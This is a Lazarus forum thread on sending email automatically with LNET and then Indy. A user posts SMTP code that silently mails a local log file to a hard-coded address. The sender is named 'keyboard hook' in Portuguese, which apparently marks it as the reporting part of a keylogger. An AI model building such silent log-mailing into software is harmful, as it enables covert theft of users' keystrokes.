Recent

Author Topic: Send email with LNET  (Read 16559 times)

joaowiciuk

  • New Member
  • *
  • Posts: 10
Send email with LNET
« on: October 14, 2011, 08:01:33 pm »
Hello, can you help me to send an email using LNET?
I want that my application make this automatically, without user intervention, with just one email and password defined in the source code.


I've tryed the code below but it did'nt work:

Code: [Select]
procedure TForm1.Button1Click(Sender: TObject);
var
  Stream: TMimeStream;
begin
  Stream := TMimeStream.Create;
  Stream.AddFileSection('C:\DOCUME~1\Usuario\Desktop\log.txt');
  Stream.Reset;
  if not SMTP.Connected then SMTP.Connect('smtp.live.com', 25);
  SMTP.StartTLS;
  if SMTP.HasFeature('AUTH LOGIN') then // use login if possible
    SMTP.AuthLogin('joaowiciuk@hotmail.com', '******')
  else if SMTP.HasFeature('AUTH PLAIN') then // fall back to plain if possible
    SMTP.AuthPlain('joaowiciuk@hotmail.com', '******');
  //SMTP.SendMail(EditFrom.Text, EditTo.Text, EditSubject.Text, FMimeStream); -> send the stream
  SMTP.SendMail('joaowiciuk@hotmail.com', 'joaowiciuk@hotmail.com', 'Teste', Stream); // send the stream
end;

It was based on a sample included with LNET 0.6.5, in which the user needs to manually configure a lot of things and click a few buttons and it works perfectly.

I think the problem is that my application code runs very quickly and no time to be established connections, authentication and TLS.

Here attached the original example, for analysis.

« Last Edit: October 14, 2011, 11:09:35 pm by joaowiciuk »

BigChimp

  • Hero Member
  • *****
  • Posts: 5740
  • Add to the wiki - it's free ;)
    • FPCUp, PaperTiger scanning and other open source projects
Re: Send email with LNET
« Reply #1 on: October 14, 2011, 08:47:12 pm »
Don't know lnet, but in general it's a good idea to:
- provide Lazarus/FPC versions
- platform/operating system
- an indication of what documentation/sites you have used, what Lazarus wiki pages you checked etc. This includes searching the Lazarus wiki and forum.
- an indication of what you have tried, and what failed
Personally, for me it also helps if you show you made an effort and tried, and if you update wiki pages/forum threads when you get a solution. This way, it helps other people if they hit the same problem and hopefully lessens the amount of "simple" questions that can be answered by going through documentation.

For instance, are you able to send email with user intervention? What errors do you see?
Are there example programs distributed with lnet that you used? In what way are they insufficient?

Good luck!
If you keep your questions vague like this, a lot of us probably don't want to answer because it becomes a guessing game: did you try this? Yes but I got
Want quicker answers to your questions? Read http://wiki.lazarus.freepascal.org/Lazarus_Faq#What_is_the_correct_way_to_ask_questions_in_the_forum.3F

Open source including papertiger OCR/PDF scanning:
https://bitbucket.org/reiniero

Lazarus trunk+FPC trunk x86, Windows x64 unless otherwise specified

Troodon

  • Sr. Member
  • ****
  • Posts: 484
Re: Send email with LNET
« Reply #2 on: October 15, 2011, 01:04:03 am »
Are you sure that's all it takes to send email through host smtp.live.com? I once struggled a few hours trying to figure out how to send email using a PHP script via my ISP's SMTP server, which required authentication. I ended up using a Google SMTP sever, instructions are on the Web.
Lazarus/FPC on Linux

joaowiciuk

  • New Member
  • *
  • Posts: 10
Re: Send email with LNET
« Reply #3 on: October 15, 2011, 01:42:54 am »
smtp.live.com works perfectly when I use the example included with lnet 0.6.5.

otorres

  • Jr. Member
  • **
  • Posts: 94
Re: Send email with LNET
« Reply #4 on: October 15, 2011, 06:04:21 pm »
For me works very fine, only need install OpenSSL Lite in my pc, and all works pretty fine =)

meulinux

  • Guest
Re: Send email with LNET
« Reply #5 on: October 15, 2011, 09:02:54 pm »
I do not need to install anything. Works very fine.

Ubuntu Linux 11.04 x86

Server: smtp.googlemail.com
Port: 465
SSL checked

--------------------
Login: myemail@gmail.com
Password: mypassword
click connect
---------------------

Enter any text

Add attachment file (28MB), linux executable "smtptest"

-------------------------

Sent successfully
« Last Edit: October 15, 2011, 09:11:30 pm by meulinux »

joaowiciuk

  • New Member
  • *
  • Posts: 10
Re: Send email with LNET
« Reply #6 on: October 16, 2011, 04:19:21 pm »
Thank you everybody, but it is too complicated to send emails automatically with LNET. I made another choice, I used Indy 10.2.0.3 for Lazarus, which worked perfectly.

After installing it I added the components TIdSMTP, TIdMessage and TIdSSLIOHandlerSocketOpenSSL for my application, I configured TIdSMTP to use TLS explicit and set as your IOHandler the TIdSSLIOHandlerSocketOpenSSL. Soon after I used the codes:

Code: [Select]
try
      begin
        with IdMessage1 do
        begin
          From.Name := 'GANCHO DE TECLADO';
          From.Address := EMail;
          ReplyTo.EMailAddresses := EMail;
          Recipients.EMailAddresses := Email;
          Subject := 'Arquivo de Log';
          MessageParts.Clear;
          TIdAttachmentFile.Create(IdMessage1.MessageParts, 'log.txt');
          Body.Text := 'Este e-mail possui o arquivo de log anexado';
          Date := SysUtils.Date;
        end;
        with IdSMTP1 do
        begin
          UserName := EMail;
          PassWord := SenhaEMail;
        end;
        IdSMTP1.Connect;
        IdSMTP1.Authenticate;
        IdSMTP1.Send(IdMessage1);
        IdSMTP1.Disconnect;
        RedefinirArqLog;
      end;
    except
      on E: EIdSocketError do Exit;
    end;

I received no error and the e-mail with the attachment reaches my inbox.

otorres

  • Jr. Member
  • **
  • Posts: 94
Re: Send email with LNET
« Reply #7 on: October 18, 2011, 02:49:27 pm »
Thank you everybody, but it is too complicated to send emails automatically with LNET. I made another choice, I used Indy 10.2.0.3 for Lazarus, which worked perfectly.

After installing it I added the components TIdSMTP, TIdMessage and TIdSSLIOHandlerSocketOpenSSL for my application, I configured TIdSMTP to use TLS explicit and set as your IOHandler the TIdSSLIOHandlerSocketOpenSSL. Soon after I used the codes:

Code: [Select]
try
      begin
        with IdMessage1 do
        begin
          From.Name := 'GANCHO DE TECLADO';
          From.Address := EMail;
          ReplyTo.EMailAddresses := EMail;
          Recipients.EMailAddresses := Email;
          Subject := 'Arquivo de Log';
          MessageParts.Clear;
          TIdAttachmentFile.Create(IdMessage1.MessageParts, 'log.txt');
          Body.Text := 'Este e-mail possui o arquivo de log anexado';
          Date := SysUtils.Date;
        end;
        with IdSMTP1 do
        begin
          UserName := EMail;
          PassWord := SenhaEMail;
        end;
        IdSMTP1.Connect;
        IdSMTP1.Authenticate;
        IdSMTP1.Send(IdMessage1);
        IdSMTP1.Disconnect;
        RedefinirArqLog;
      end;
    except
      on E: EIdSocketError do Exit;
    end;

I received no error and the e-mail with the attachment reaches my inbox.
Operating System?, I had to install OpenSSL to LNET send emails, you can be more specific?, So when someone wants to do the same, it will be easier.

joaowiciuk

  • New Member
  • *
  • Posts: 10
Re: Send email with LNET
« Reply #8 on: October 19, 2011, 01:12:34 am »
 :-X I use Windows  :-[

a.atalla

  • Jr. Member
  • **
  • Posts: 82
Re: Send email with LNET
« Reply #9 on: April 06, 2013, 12:31:09 pm »
i cannot find this component in the pallete (TIdSSLIOHandlerSocketOpenSSL)
How can i get this
i use (pl_Indycomp SVN 13-02-2013 Rev 4931) the version distributed with CodeTyphon  is Indy-10.5.9.18
Lazarus 1.0.8 | FPC 2.6.2 x64  | Arch Linux x64 | Windows 7-x86

 

TinyPortal © 2005-2018